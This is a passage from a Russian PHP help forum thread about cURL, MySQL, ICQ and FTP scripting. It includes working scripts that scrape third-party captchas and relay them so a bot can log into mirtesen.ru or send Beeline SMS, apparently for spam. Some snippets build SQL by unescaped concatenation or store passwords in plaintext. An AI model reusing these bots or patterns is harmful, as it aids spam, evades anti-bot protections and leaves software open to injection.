Если хочешь получить текущую дату, тогда лучше использовать функцию MySQL NOW();
$result = mysql_query('INSERT INTO users_ip SET user_login="' . $username . '" , user_ip="' . $ip . '" , user_data=NOW()');
Вру. Получилось :)
Только.....хм, поле user_ip - 0. и в поле даты отображется год.
А не часы и минуты авторизации.
Ну да фигня, отшлифую по ходу сам.
Спасибо ;)
FireFenix
05.06.2009, 18:03
В запросе не только $date использую, но и $username, $password.
Но даже в этом случае не удается записать данные в БД
я про то, что у тя используются $datE и $datA - это разные переменные.
Используй запрос, что я написал
NOW() - возвращает дату в формате YYYY-MM-DD HH:MM:SS
А что у тебя будет в ячейке после запроса, зависит от типа ячейки
То есть данный тип не подходит?
CREATE TABLE `users_ip` (
`user_login` varchar(64) default NULL,
`user_ip` varchar(64) default NULL,
`user_data` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`user_login`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=cp1251;
Как тогда правильно задать параметры, чтобы записывались IP и время регистрации?
Joker-jar
05.06.2009, 19:04
Сделай нормальный ID, дату лучше типа DateTime
FireFenix
05.06.2009, 19:15
CREATE TABLE `users_ip` ( `user_login` varchar(64) default NULL, `user_ip` varchar(64) default NULL, `user_data` int(10) unsigned NOT NULL default '0', PRIMARY KEY (`user_login`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=cp1251;
Было бы правильнее
CREATE TABLE `users_ip` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`login` text NOT NULL,
`ip` text NOT NULL,
`date` datetime NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
и тогда запросом
$ip = '127.0.0.1';
$login = 'Вася';
$result = mysql_query('INSERT INTO users_ip SET login="' . $login . '" , ip="' . $ip . '" , date=NOW()');
Добавиться запись с датой и временем
Допустим я курлом зашёл на google.ru
Как можно посмотреть что я действительно на google.ru ?
Тоесть иными словами, как можно посотреть урл страницы ?
geforse,несильно понял смысла етого делать,развешто там будет редикт на другую страницу,и тебе переправит,и нужно узнать,тебя перенаправило или нет,так?
geforse если FOLLOWLOCATION 1 то включи _HEADER и смотри пересылки
Joker-jar
05.06.2009, 20:05
geforse, попробуй $url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
$ct = curl_init();
$url = 'http://mp3a.ru';
curl_setopt($ct,CURLOPT_URL,$url);
curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ct, CURLOPT_HEADER, 1);
curl_setopt($ct, CURLOPT_REFERER, '');
curl_setopt($ct, CURLOPT_USERAGENT,
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');
$cont = curl_exec($ct);
$url всегда равну урлу,так как перенаправление тут отключено.
Подскажите, как отправить 2 сообщения $message1 и $message2 , чтот я протупил крепко:
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, $message1);
echo "ok";
}
} используется class icq.lib.php :confused:
Pashkela
06.06.2009, 01:58
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, $message1);
$icq->send_message($uin_sendto, $message2);
echo "ok";
Мне нужно на сайте переделать код видео
воспользовался скриптом
вот часть скрипта
$html = preg_replace( "#<embed.*?src='(\S+?)'.*?>#is", "\\1", $html );
$html = preg_replace( "#<embed.*?src=\"(\S+?)\".*?>#is", "\\1", $html );
но он вместо ссылки на видео типа http://сайт.ru/video.flv
берет ссылку плеера т.е http://сайт.ru/плеер.swf
http://http://сайт.ru/плеер.swf
как заставить брать ссылку дабы получилось
http://сайт.ru/video.flv :confused:
я уж голову сломал :(
помогите ;)
З.Ы
От граббера кусок стянул :D
вот тэг видео
<embed src="http://сайт.ru/плеер.swf" allowfullscreen="true" allowscriptaccess="always" flashvars="&backcolor=0x000000&lightcolor=0x557722&frontcolor =0xCCCCCC&file=http://сайт.ru/video.flv&height=360&width=480" height="360" width="480">
жду помощи)
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, $message1);
$icq->send_message($uin_sendto, $message2);
echo "ok";
Я так пробывал, почемуто не работает :confused:
Забыл добавить, что нужно одно сообщение на одну аську отправлять, а второе на другую :confused:
то есть я пробывал
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto1, $message1);
$icq->send_message($uin_sendto2, $message2);
echo "ok"; и это не работало :confused:
message #10899
$html = preg_replace( "#<embed(.*)file=([^&]*)&(.*)#is","\\2",$html );
Как отослать заголовки в курле,есле они в таком виде у меня:
POST /gr.php?to=123&pid=0 HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: v.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://v.ru
Cookie: rem=0
Cookie2: $Version=1
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 5613
mailbrush
06.06.2009, 18:47
php.net/curl_setopt
ЗЫ: Тебе не надо всех заголовков этих слать...
Player#1
06.06.2009, 19:52
Вроде так...
<?php
$ch = curl_init();
$head = array(
"Host: v.ru",
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1",
"Accept-Language: ru-RU,ru;q=0.9,en;q=0.8",
"Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1",
"Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0",
"Cookie2: $Version=1",
"Connection: Keep-Alive, TE",
"TE: deflate, gzip, chunked, identity, trailers"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
curl_setopt($ch, CURLOPT_URL, "gr.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "to=123&pid=0");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_COOKIE, "rem=0");
curl_setopt($ch, CURLOPT_REFERER, "http://v.ru");
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1");
$result = curl_exec($ch);
curl_close($ch);
?>
ZavodiJIo
06.06.2009, 20:50
<?php
// html
print_r('
<html>
<head>
<title>Test page!</title>
<meta http-equiv="Content-type" content="text/html; charset="windows-1251">
<meta name="keywords" content="Test of my product" >
<meta name="description" content="Test of scritps, writed by ac1d">
</head>
<body bgcolor="black">
<font style="font-size: 30px; color: #006400;">
');
$chb = '<input type="checkbox" name="dir" value="1"> ';
// установка соединения
$conn_id = ftp_connect("host");
// вход с именем пользователя и паролем
$login_result = ftp_login($conn_id, "login", "password");
// проверка соединения
if ((!$conn_id) || (!$login_result)) {
die("Не удалось подключиться к FTP серверу!");
}
echo "<b>Текущая директория:</b>" . ftp_pwd($conn_id) . "\n";
// попытка сделать somedir текущей
if (ftp_chdir($conn_id, "/php/")) {
echo ftp_pwd($conn_id) . "<br> \n";
} else {
echo "Не удалось сменить директорию <br> \n";
}
$site = ftp_nlist($conn_id, ".");
foreach($site as $v) if(is_dir($v)) echo $chb . $v . '<br>';
// закрытие соединения
ftp_close($conn_id);
print_r('
</font>
</body>
</html>');
?>
Нужно вывести директории поддоменов из каталога /www/ на ftp. В директории /www/ так же лежат файлы основного домена. Скрипт выводит только директории созданные для корневого домена, а нужно выводить как раз наоборот только директории с поддоменами.
Посоветуйте, как правильно организовать отправку капчи:
В куках сохраняется значение:
captcha=_md5_капчи_;
И показывается картинка:
<img src="http://site.ru/?_цыфирки_разные_ alt="">
1) Курлом захожу на страницу авторизации
2) Смотрю цыферки после site.ru/? и показываю капчу в скрипте
3) preg_match_all('|Set-Cookie: (.*);|U', $res, $results);
$cookies = implode(';', $results[1]);
4) Отсылаю курлом капчу + curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Ну конечно не работает не Х*я :D
хиден полей нету ... отправка всех заголовков не помогает(
Понять в чём проблема не могу :(
Посоветуйте, как правильно организовать отправку капчи:
...
Какой-то у тебя сильно хитрожопый способ
Я делаю так:
В файле с капчей стартую сессию, в переменную сессии сую ранд, тот же рэнд на капчу, а в скрипте просто сверяю значения переменной сессии и инпута от пользователя, вроде всё элементарно :cool:
В файле с капчей стартую сессию, в переменную сессии сую ранд, тот же рэнд на капчу, а в скрипте просто сверяю значения переменной сессии и инпута от пользователя, вроде всё элементарно :cool:
Что-то не совсем понял ))
вечер наверно )
можеш пример кода показать ... кусочек :)
image.php:
session_start();
$_SESSION['captcha'] = rand(100000,999999); //его же вставляем в текст, выводимый картинкой
index.php:
session_start();
if($_SESSION['captcha'] == $_POST['captca']) {
echo 'антикапча фореве';
} else {
echo 'пошёл на ***';
}
форма:
<img src = "image.php">
<form method = "POST">
<input type = "text" name = "captcha">
<input type = "submit">
</form>
Ru}{eeZ либо ты не понял, либо я ))
Мне не нужно генерировать капчу и отдавать её пользователю .... мой скрипт должен заходить на сайт *не мой) смотреть капчу (показывать мне) и отправлять обратно :)
Player#1
07.06.2009, 00:03
2geforse
Если я правильно понял, то вот тебе мой пример для отправки смс на номера билайна. Выводится каптча с сайта билайна и форма, в которую ты вписываешь циферки. Думаю, ты сможешь отредактировать под свои нужды... Или кинь сайт, каптчу с которого ты будешь вводить.
<?php
$url="http://www.beonline.ru/portal/comm/send_sms";
$cfile = "cookie.txt";
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1");
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$result=curl($url,""); //Открываем страницу с каптчей
preg_match('[ <IMG SRC=\"(\S+)\" WIDTH=\"146\"]', $result, $pic); //извлекаем картинку с цифрами
preg_match('[NAME=\"confirm_key\" VALUE=\"(\S+)\" MAXLENGTH=\"4\">]', $result, $key); //извлекаем код в hidden
echo "<img src='http://www.beonline.ru/".$pic[1]."'>"; //выводим каптчу
//отправляем каптчу, текст смс и т.д.
if(isset($_POST['code']))
{
echo "<br>CODE:".$_POST['code'];
$post="deferto=&adv_year=&send=send&confirm_key=".$_POST['key']."&destination_number_from=ordinary&phone=9067654776&message=hi+ooooa&mlength=148&confirm_code=".$_POST['code'];
$result = curl($url,$post);
echo $result;
};
?>
<form name="send" method="POST"><b>Введите код, указанный на картинке</b><input size="10" type="text" name="code"><input value="Отправить" type="submit"><input type="hidden" name="key" value="<?php echo $key[1]; ?>"></form>
Help
помогите и мне
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, $message1);
echo "ok";
}
}
Как отправлять 2 сообщения на разные icq ?
Использую вот этот класс - http://kanicq.ru/invisible/icqlib.rar
GreenBear
07.06.2009, 00:45
не понимаю чего тут не понять?
$icq->send_message($uin_sendto, $message1);
$icq->send_message($uin_sendto2, $message2);
GreenBear, я так и делал - но неработает :(
Всю ночь просидел ... не выходит :(
### Заходим на сайт и получаем капчу
$ch = curl_init('http://mirtesen.ru/login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
$res = curl_exec($ch);
curl_close($ch);
### Получаем код для картинки
preg_match('#<img src="http://mirtesen.ru/captcha/login?(.*?)"#i', $res, $match_capt);
### Получаем куки
preg_match_all('|Set-Cookie: (.*);|U', $res, $results);
$cookies = implode(';', $results[1]);
### Показываем капчу
echo '<img src="http://mirtesen.ru/captcha/login'.$match_capt[1].'" alt="">
<p><form name="spam" action="index.php" method="POST">
<input type="text" name="captcha">
<input type="submit" value ="Ok"></form>';
### Отправляем обратно капчу/логин/пассворд
if(isset($_POST['captcha'])){
$ch = curl_init('http://mirtesen.ru/login');
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'auth%5Bbackurl%5D=http%3A%2F%2Fmirtesen.ru%2F&auth%5Blogin%5D=LOGIN%40mail.ru&auth%5Bpassword%5D=PASSWORD&auth%5Bcaptcha%5D='.trim($_POST['captcha']).'&auth%5Bremember%5D=on');
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$res = curl_exec($ch);
curl_close($ch);
}
В куках хранится значение капчи, без них вобще никак не получится,т.к. даже если в браузере отключить куки, то капча не вводится...
Patronik
07.06.2009, 12:57
У меян вопрос. почему программа не записывает в файл $file_data? все значения переменных $all_user_row = $login. " " .$password. " " .$emeil. " " .$city. "\n";.
Проверяю цыклом масив $_POST, все переменные получены, а в файл не записываються, записиваеться только логин и пароль, а емеил и город нет.
$login = $_POST['login'];
$password = $_POST['password'];
$emeil = $_POST['emeil'];
$city = $_POST['login'];
foreach($_POST as $name => $value)
{
echo''.$name.' '.$value.' <br>';
}
if ($vse_gud = true)
{
chdir("D:\Webservers\home\libra.com\www");
$file_data = fopen("all_User_data.txt", "a+");
$all_user_row = $login. " " .$password. " " .$emeil. " " .$city. "\n";
fwrite($file_data, $all_user_row);
$User_row = $login. " " .$password."\n";
$file = fopen("User_data.txt", "a+");
fputs($file, $User_row);
fclose($file_data);
fclose($file);
Сорри я уже разобрался, все работатет.
что за ошибка Warning: mb_ereg() expects parameter 2 to be string, array given?
wildshaman
07.06.2009, 13:38
что за ошибка Warning: mb_ereg() expects parameter 2 to be string, array given?
функция mb_ereg не может в качестве второго параметра принимтаь массив (у вас так), а может строку.
FireFenix
07.06.2009, 14:08
Всю ночь просидел ... не выходит :(
В куках хранится значение капчи, без них вобще никак не получится,т.к. даже если в браузере отключить куки, то капча не вводится...
В твоём коде куки не приходят.
Как там посылается каптча? потомучто я ненашёл связи md5(номер каптчи) и значений в кукисах
В твоём коде куки не приходят.
Это я просто забыл тут хедер написать, в коде у мну есть HEADER, 1
Потом отправляю с помощью:
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Насколько я понял, там в куках есть значение mirtesen=....;
нужно передавать его + капчу .... я так и делаю, но что-то не получается(
FireFenix
07.06.2009, 14:19
Это я просто забыл тут хедер написать, в коже у мну есть HEADER, 1
Потом отправляю с помощью:
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Каптча посылается постом
как тогда оно сверяет, что ты ввёл нужную каптчу? я пробывал залогинится и сотрел в кикусах мд5 хеш от номера каптчи. Сходства ненашёл.
ZavodiJIo
07.06.2009, 14:21
Товарищи, есть скрипт (код ниже) нужно этим скриптом вывести все папки с поддоменами с фтп. Папки пооддоменов лежат в каталоге /www/. Так же каталог /www/ - это директория для основного домена, тоесть там лежат файлы корневого домена. У меня в корневом домене только одна папка - immages, собственно которую скрипт и выводит, а мне нужно выводить какраз таки всё кроме неё. Тоесть мне нужно выводить только папки с поддоменами (для последующей заливки в них файлов.
<?php
// html
print_r('
<html>
<head>
<title>Test page!</title>
<meta http-equiv="Content-type" content="text/html; charset="windows-1251">
<meta name="keywords" content="Test of my product" >
<meta name="description" content="Test of scritps, writed by ac1d">
</head>
<body bgcolor="black">
<font style="font-size: 30px; color: #006400;">
');
$chb = '<input type="checkbox" name="dir" value="1"> ';
// установка соединения
$conn_id = ftp_connect("host");
// вход с именем пользователя и паролем
$login_result = ftp_login($conn_id, "login", "password");
// проверка соединения
if ((!$conn_id) || (!$login_result)) {
die("Не удалось подключиться к FTP серверу!");
}
echo "<b>Текущая директория:</b>" . ftp_pwd($conn_id) . "\n";
// попытка сделать somedir текущей
if (ftp_chdir($conn_id, "/php/")) {
echo ftp_pwd($conn_id) . "<br> \n";
} else {
echo "Не удалось сменить директорию <br> \n";
}
$site = ftp_nlist($conn_id, ".");
foreach($site as $v) if(is_dir($v)) echo $chb . $v . '<br>';
// закрытие соединения
ftp_close($conn_id);
print_r('
</font>
</body>
</html>');
?>
FireFenix
07.06.2009, 14:25
Товарищи, есть скрипт (код ниже) нужно этим скриптом вывести все папки с поддоменами с фтп. Папки пооддоменов лежат в каталоге /www/. Так же каталог /www/ - это директория для основного домена, тоесть там лежат файлы корневого домена. У меня в корневом домене только одна папка - immages, собственно которую скрипт и выводит, а мне нужно выводить какраз таки всё кроме неё. Тоесть мне нужно выводить только папки с поддоменами (для последующей заливки в них файлов.
В цикле когда получаешь список файлов, делай переход по подпапкам и получай с них файлы
Это я просто забыл тут хедер написать, в коде у мну есть HEADER, 1
Потом отправляю с помощью:
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Насколько я понял, там в куках есть значение mirtesen=....;
нужно передавать его + капчу .... я так и делаю, но что-то не получается(
если у тебя в #10915 посте выложен полный код , то не работает потому , что при сабмите формы скрипт получает новую капчу и куки , и отправляет уже их , естественно они не совпадают с введненными тобой
как вариант сделать перед получением картинки
if(!isset($_POST[captcha]))
либо делать сабмит на другую страницу , с которой уже и будут отправляться данные
полный код ...
### Заходим на сайт и получаем капчу
$ch = curl_init('http://mirtesen.ru/login');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
$res = curl_exec($ch);
curl_close($ch);
### Получаем код для картинки
preg_match('#<img src="http://mirtesen.ru/captcha/login?(.*?)"#i', $res, $match_capt);
### Получаем куки
preg_match_all('|Set-Cookie: (.*);|U', $res, $results);
$cookies = implode(';', $results[1]);
### Показываем капчу
echo '<img src="http://mirtesen.ru/captcha/login'.$match_capt[1].'" alt="">
<p><form name="spam" action="index.php" method="POST">
<input type="text" name="captcha">
<input type="submit" value ="Ok"></form>';
### Отправляем обратно капчу/логин/пассворд
if(isset($_POST['captcha'])){
$ch = curl_init('http://mirtesen.ru/login');
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'auth%5Bbackurl%5D=http%3A%2F%2Fmirtesen.ru%2F&auth%5Blogin%5D=LOGIN%40mail.ru&auth%5Bpassword%5D=PASSWORD&auth%5Bcaptcha%5D='.trim($_POST['captcha']).'&auth%5Bremember%5D=on');
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$res = curl_exec($ch);
curl_close($ch);
}
if(!isset($_POST['captcha']))
{
### Заходим на сайт и получаем капчу
$ch = curl_init('http://mirtesen.ru/login');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
$res = curl_exec($ch);
curl_close($ch);
### Получаем код для картинки
preg_match('#<img src="http://mirtesen.ru/captcha/login?(.*?)"#i', $res, $match_capt);
### Получаем куки
preg_match_all('|Set-Cookie: (.*);|U', $res, $results);
$cookies = implode(';', $results[1]);
### Показываем капчу
echo '<img src="http://mirtesen.ru/captcha/login'.$match_capt[1].'" alt="">
<p><form name="spam" action="index.php" method="POST">
<input type="text" name="captcha">
<input type="submit" value ="Ok"></form>';
}
### Отправляем обратно капчу/логин/пассворд
if(isset($_POST['captcha'])){
$ch = curl_init('http://mirtesen.ru/login');
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'auth%5Bbackurl%5D=http%3A%2F%2Fmirtesen.ru%2F&auth%5Blogin%5D=LOGIN%40mail.ru&auth%5Bpassword%5D=PASSWORD&auth%5Bcaptcha%5D='.trim($_POST['captcha']).'&auth%5Bremember%5D=on');
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$res = curl_exec($ch);
curl_close($ch);
}
т.е если скрипту не передаются данные из формы - выводит капчу и окошко для ввода,
если передаются - отправляет
не в этом дело)
не работает :(
FireFenix
07.06.2009, 14:45
Запросы все отсылаются, но не логинится. Скорее всего бока с отправкой каптчи, ну сам алгоритм
В куках с рисунком каптчи передаётся параметр mirtesen похожий на md5, но если захешировать номер каптчи, то они не совпадают + появляются поля htold и told
ZavodiJIo
07.06.2009, 14:51
В цикле когда получаешь список файлов, делай переход по подпапкам и получай с них файлы
мне нужно просто вывести папки-поддомены.
В куках с рисунком каптчи передаётся параметр mirtesen похожий на md5, но если захешировать номер каптчи, то они не совпадают + появляются поля htold и told
Я уже это проверял:
1) Это не мд5
2) На капчу влияет только значение mirtesen!
FireFenix
07.06.2009, 14:53
мне нужно просто вывести папки-поддомены.
<?php
// html
print_r('
<html>
<head>
<title>Test page!</title>
<meta http-equiv="Content-type" content="text/html; charset="windows-1251">
<meta name="keywords" content="Test of my product" >
<meta name="description" content="Test of scritps, writed by ac1d">
</head>
<body bgcolor="black">
<font style="font-size: 30px; color: #006400;">
');
$chb = '<input type="checkbox" name="dir" value="1"> ';
// установка соединения
$conn_id = ftp_connect("host");
// вход с именем пользователя и паролем
$login_result = ftp_login($conn_id, "login", "password");
// проверка соединения
if ((!$conn_id) || (!$login_result)) {
die("Не удалось подключиться к FTP серверу!");
}
echo "<b>Текущая директория:</b>" . ftp_pwd($conn_id) . "\n";
// попытка сделать somedir текущей
if (ftp_chdir($conn_id, "/php/")) {
echo ftp_pwd($conn_id) . "<br> \n";
} else {
echo "Не удалось сменить директорию <br> \n";
}
$site = ftp_nlist($conn_id, ".");
foreach($site as $v)
{
if(!is_dir($v))
{
echo $chb . $v . '<br>';
}
}
// закрытие соединения
ftp_close($conn_id);
print_r('
</font>
</body>
</html>');
?>
FireFenix
07.06.2009, 14:57
Я уже это проверял:
1) Это не мд5
2) На капчу влияет только значение mirtesen!
И также я заметил, незнаю почему, выводится 2 параметра установки куков из первого курла (я юзал регулярку preg_match_all('/Set-Cookie: ([^;]*)/i', $res, $cookies); )
Array
(
[0] => Array
(
[0] => Set-Cookie: mirtesen=jn35v1f3g248ufdr6aelhannb5
[1] => Set-Cookie: mirtesen=0p48pipogk4oj7497a1po09gi6
)
[1] => Array
(
[0] => mirtesen=jn35v1f3g248ufdr6aelhannb5
[1] => mirtesen=0p48pipogk4oj7497a1po09gi6
)
)
2 параметра я тоже углядел ... Хз какой из них нужно отправлять )
FireFenix
07.06.2009, 15:00
2 параметра я тоже углядел ... Хз какой из них нужно отправлять )
Я пробывал оба, но результата 0 как нистранно :(
Вобщем идея такова, когда ты получаешь контент - картинка одна. Когда браузер её загружает в img она другая
Т.е. суть такова, что нада сохранять картинку с заголовком, потом показывать пользователю
spamoney
07.06.2009, 15:14
Всем Добрый День, есть небольшой вопрос, помогите, пожалуйста, решить.
Есть две строки, допустим:
$str1="index.php?var={num}&text={rus}¶m={eng}";
$str2="{rus}/page-{num}/{eng}.html";
Необходимо, преобразовать $str2 в:
$str2="2/page-1/3.html";
т.е нужно из $str1, выбрать весь текст в фигурных скобках ({num}, {rus}, {eng}), а также его местоположение в строке (т.е {num} стоит первый, {rus} - второй и т.д) и заменить каждый соответсвующий текст в фигурных скобках ({num}, {rus}, {eng}), в $str2 на его местоположение в $str1
P/S
Строки и местоположение {num}, {rus}, {eng} всегда разное!
Geforse Косяков у вас, что даже писать долго. Вот работающая версия: $login = '';
$pass = '';
session_start();
function post($url='',$content=null,$referer=null,$follow=0 )
{
GLOBAL $cookie;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',array_values($cookie)));
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer);
$ss=curl_exec($ch);
curl_close($ch);
if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook))
{
if ($tmpcookie=array_combine($cook[2],$cook[1]))
$cookie=(array)$tmpcookie + (array)$cookie;
}
return preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1);
}
if (!isset($_POST['captcha']))
{
// Удаляем сессионный файл, чтобы не путал
unset($_SESSION['mir']);
// Получаем начальные куки
$in = post('http://mirtesen.ru/login');
preg_match('#<img src="http://mirtesen.ru/captcha/login?(.*?)"#i', $in, $match_capt);
// Делаем локальную копию куки ()ак надо)
file_put_contents('local.jpg',post('http://mirtesen.ru/captcha/login?'.$match_capt[1],null,'http://mirtesen.ru/login'));
// Выводим форму
echo '<img src="local.jpg" alt=""><p><form name="spam" method="POST">
<input type="text" name="captcha">
<input type="submit" value ="Ok"></form>';
// Сохраняем куки полученные при данном запуске
$_SESSION['mir']=serialize($cookie);
} else
{
// Загружаем куки, полученные при первом запуске скрипта
$cookie = $_SESSION['mir'] ? unserialize($_SESSION['mir']) : array();
// Логинимся
post('http://mirtesen.ru/login','auth%5Bbackurl%5D=&auth%5Blogin%5D='.urlencode($login).'&auth%5Bpassword%5D='.urlencode($pass).'&auth%5Bcaptcha%5D='.trim($_POST['captcha']).'&auth%5Bremember%5D=on','http://mirtesen.ru/login');
// Выводим страницу
$out = post('http://mirtesen.ru/');
$out = iconv('UTF-8','Windows-1251',$out);
echo $out;
}
spamoney
echo str_replace(array('{eng}','{rus}'),
array('эквивалент енг','эквивалент рус'),$str);
spamoney
07.06.2009, 15:28
spamoney
echo str_replace(array('{eng}','{rus}'),
array('эквивалент енг','эквивалент рус'),$str);
Нет, это совсем не то, необходимо определить местоположение {num} {rus} {eng} в $str1 и уже потом делать замену в $str2, примеры:
$str1="index.php?var={num}&text={rus}¶m={eng}";
$str2="{rus}/page-{num}/{eng}.html";
//Должно получиться:
$str3="2/page-1/3.html";
$str1="main.php?par={eng}&var={num}¶m={rus}";
$str2="{rus}/page-{num}/{eng}.html";
//Должно получиться:
$str3="3/page-2/1.html";
$str1="show.php?tut={rus}&trem={eng}&pabam={num}";
$str2="{rus}/page-{num}/{eng}.html";
//Должно получиться:
$str3="1/page-3/2.html";
и т.д
FireFenix
07.06.2009, 15:36
Нет, это совсем не то, необходимо определить местоположение {num} {rus} {eng} в $str1 и уже потом делать замену в $str2
<?php
//$str_1 = "index.php?var={num}&text={rus}¶m={eng}";
$str_1 = 'index.php?var=666&text=111¶m=888';
$str_2 = '{rus}/page-{num}/{eng}.html';
$regexp = '/[\?|&]([^=]*)=([^&]*)/is';
preg_match_all($regexp , $str_1, $match);
for($i = 0; $i < count($match[2]); $i++)
{
switch($match[1][$i])
{
case 'var':
$var = '{rus}';
break;
case 'text':
$var = '{num}';
break;
case 'param':
$var = '{eng}';
break;
}
//$str_2="666/page-111/888.html";
$str_2 = str_replace($var, $match[2][$i], $str_2);
}
echo($str_2);
?>
или
<?php
$str_1 = "index.php?var={num}&text={rus}¶m={eng}";
$str_2 = '{rus}/page-{num}/{eng}.html';
$regexp = '/[\?|&]([^=]*)=([^&]*)/is';
preg_match_all($regexp , $str_1, $match);
for($i = 0; $i < count($match[2]); $i++)
{
switch($match[2][$i])
{
case '{rus}':
$var = '1';
break;
case '{num}':
$var = '2';
break;
case '{eng}':
$var = '3';
break;
}
$str_2 = str_replace($match[2][$i], $var, $str_2);
}
echo($str_2);
?>
Наверное ты так хотел?
Gifts огромное спасибо ... +++ ставить ?))
жалко поортить 777 :)
spamoney $str1="show.php?tut={rus}&trem={eng}&pabam={num}";
$str2="{rus}/page-{num}/{eng}.html";
function zamena($str1,$str2)
{
$array = array('{rus}','{num}','{eng}');
foreach ($array as $one) $outarr[$one]=strpos($str1,$one);
asort($outarr, SORT_NUMERIC);
$outarr=array_keys($outarr);
foreach ($outarr as $i => $one) $str2 = str_replace($one,$i+1, $str2);
